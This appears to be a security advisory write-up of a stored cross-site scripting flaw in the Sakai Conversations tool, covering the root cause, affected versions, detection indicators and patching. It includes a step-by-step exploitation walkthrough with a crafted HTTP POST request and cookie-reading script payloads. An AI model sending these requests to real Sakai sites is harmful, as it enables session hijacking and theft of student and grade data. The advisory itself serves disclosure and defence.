CVE-2026-54049: 
Java vulnerability analysis and mitigation

CVE-2026-54049 is a stored cross-site scripting (XSS) vulnerability in the Sakai Collaboration and Learning Environment (CLE) Conversations tool. The flaw affects Sakai versions 23.0 through 23.4 and 25.0 through 25.2, and was fixed in versions 23.5, 25.3, and 26.0. The vulnerability was first reported on 2026-06-02 (fix committed), published to the GitHub Advisory Database on 2026-08-24, and assigned CVE-2026-54049. It carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Sakai Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a missing HTML sanitization step in the Conversations service layer. The ConversationsServiceImpl stores user-supplied message fields from the REST API endpoints POST /api/sites/{siteId}/topics, POST /api/sites/{siteId}/topics/{topicId}/posts, and the comments endpoint directly to the database (conv_topics.MESSAGE, conv_posts, conv_comments) without invoking FormattedText.processFormattedText() — a sanitizer used by other Sakai tools such as Announcements and Assignments. On the frontend, SakaiTopic.js (line 679), SakaiPost.js (lines 429, 432), and SakaiComment.js (line 148) all render the stored message using LitElement's unsafeHTML() directive, which bypasses browser-side sanitization and causes injected HTML/JavaScript to execute in victims' browsers. The fix (commit 2696b4b) adds sanitizeFormattedText() calls via FormattedText.processFormattedText(text, null, FormattedText.Level.HIGH) before persistence for topics, posts, comments, and settings (Sakai Advisory, Fix Commit).

Any authenticated user with at minimum a student role on a site with the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view the affected topic, post, or comment. In a university environment with hundreds of students per course, a single malicious post can simultaneously compromise all enrolled students, enabling session hijacking, credential theft, exfiltration of gradebook data and course content, and performing unauthorized actions on behalf of victims. The CVSS scope is "Changed," reflecting that the impact crosses from the attacker's session into the security context of all viewing users, with high confidentiality and integrity impact (Sakai Advisory, GitHub Advisory).

A proof-of-concept (PoC) with step-by-step HTTP requests and SQL verification queries is publicly available in the official security advisory, demonstrating injection of payloads such as <img src=x onerror=alert(1)> and <script>alert(document.cookie)</script> (Sakai Advisory). The EPSS score is approximately 0.255% (16th percentile), indicating a relatively low but non-negligible probability of exploitation in the near term. There is no current evidence of in-the-wild exploitation or threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires authentication and victim interaction (viewing the malicious post), but the low privilege requirement (student role) and broad victim scope make it a meaningful risk in academic deployments (GitHub Advisory).

1. Authenticate to Sakai: Obtain a valid session by logging in to the target Sakai instance with any site membership (student role or higher), capturing the SAKAIID session cookie.
2. Identify target site: Determine the siteId of a site with the Conversations tool enabled (e.g., BELP_275K_7418) through the Sakai UI or API enumeration.
3. Inject XSS payload into a topic: Send a crafted POST request to the topic creation endpoint with a malicious message field:

   POST /api/sites/BELP_275K_7418/topics HTTP/1.1
   Host: <target>
   Cookie: SAKAIID=<session>
   Content-Type: application/json
   
   {"title":"XSS Test","message":"<img src=x onerror=alert(document.cookie)>","type":"QUESTION","visibility":"SITE","draft":false}

4. Inject payload into a post reply (optional, for broader reach): Send a POST to /api/sites/{siteId}/topics/{topicId}/posts with a <script>alert(document.cookie)</script> payload in the message field.
5. Verify storage: Confirm the raw payload is stored in the database via SELECT MESSAGE FROM conv_topics WHERE TOPIC_ID='...' — the unsanitized HTML should appear verbatim.
6. Wait for victim interaction: When any site member navigates to the Conversations view, the LitElement frontend fetches the stored message via the REST API and renders it with unsafeHTML(), executing the injected JavaScript in the victim's browser context.
7. Harvest results: The executed script can exfiltrate session cookies, perform actions as the victim (e.g., submit grades, access course content), or deliver further payloads (Sakai Advisory, GitHub Advisory).

• Network: Unusual POST requests to /api/sites/{siteId}/topics, /api/sites/{siteId}/topics/{topicId}/posts, or comment endpoints containing HTML tags (<script>, <img>, onerror=, onload=) in the JSON message field; outbound HTTP requests from victim browsers to attacker-controlled domains following Conversations page loads.
• Logs: Web server or application access logs showing POST requests to Conversations API endpoints with encoded or raw HTML/JavaScript in request bodies; REST API responses returning raw HTML in message fields (e.g., "message":"<script>alert(document.cookie)").
• Database: Rows in conv_topics.MESSAGE, conv_posts.MESSAGE, or conv_comments.MESSAGE containing raw HTML tags, JavaScript event handlers, or <script> elements rather than sanitized text.
• Browser/Client: Unexpected JavaScript execution (e.g., alert dialogs, network requests to unknown domains) when users load the Conversations tool; browser developer tools showing unsafeHTML() rendering of script content in LitElement components (Sakai Advisory).

Upgrade Sakai to version 23.5, 25.3, or 26.0, which include the fix that adds FormattedText.processFormattedText() sanitization at persistence time for all Conversations topics, posts, comments, and settings (Fix Commit, GitHub Advisory). If immediate patching is not feasible, consider disabling the Conversations tool site-wide or restricting access to trusted users only until the patch can be applied. Administrators should also audit existing conv_topics, conv_posts, and conv_comments database records for stored HTML/JavaScript payloads and sanitize or remove them as part of remediation.

A Mastodon post from @thehackerwire referenced the vulnerability shortly after its public disclosure, indicating some community awareness in security circles. No major vendor statements beyond the official Sakai project advisory, nor significant media coverage or notable researcher commentary beyond the GitHub advisory itself, have been identified at this time.